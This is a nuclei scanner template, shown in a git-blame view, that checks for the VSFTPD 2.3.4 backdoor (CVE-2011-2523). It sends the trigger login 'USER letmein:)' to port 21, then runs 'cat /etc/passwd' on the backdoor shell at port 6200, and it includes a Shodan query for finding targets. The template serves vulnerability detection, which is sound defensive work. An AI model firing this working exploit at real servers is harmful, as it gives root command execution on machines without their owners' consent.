nuclei-templates/network/cves/2011/CVE-2011-2523.yaml

43 lines
1.2 KiB
YAML
Raw Normal View History

2023-03-03 09:30:28 +00:00
id: CVE-2011-2523
info:
name: VSFTPD 2.3.4 - Backdoor Command Execution
author: pussycat0x
severity: critical
description: |
2023-03-03 09:39:15 +00:00
VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.
2023-03-03 09:30:28 +00:00
reference: |
- https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
- https://www.exploit-db.com/exploits/49757
remediation: |
Update to the latest version of VSFTPD, which does not contain the backdoor.
2023-03-03 09:39:15 +00:00
classification:
cve-id: CVE-2011-2523
2023-03-03 09:30:28 +00:00
metadata:
max-request: 2
2023-06-04 08:13:42 +00:00
verified: true
2023-03-03 09:30:28 +00:00
shodan-query: product:"vsftpd"
2023-03-03 09:39:15 +00:00
tags: cve,cve2011,network,vsftpd,ftp,backdoor
2023-03-03 09:30:28 +00:00
variables:
2023-03-28 11:22:10 +00:00
cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs
2023-03-03 09:30:28 +00:00
tcp:
2023-03-03 09:30:28 +00:00
- inputs:
- data: "USER letmein:)\r\nPASS please\r\n"
read: 100
host:
2023-03-28 11:22:10 +00:00
- "{{Host}}:21"
2023-03-03 09:30:28 +00:00
- inputs:
- data: "{{cmd}}\n"
read: 100
host:
2023-03-28 11:22:10 +00:00
- "{{Host}}:6200"
2023-03-03 09:30:28 +00:00
matchers:
2023-03-03 09:39:15 +00:00
- type: regex
2023-03-03 09:30:28 +00:00
part: raw
2023-03-03 09:39:15 +00:00
regex:
- "root:.*:0:0:"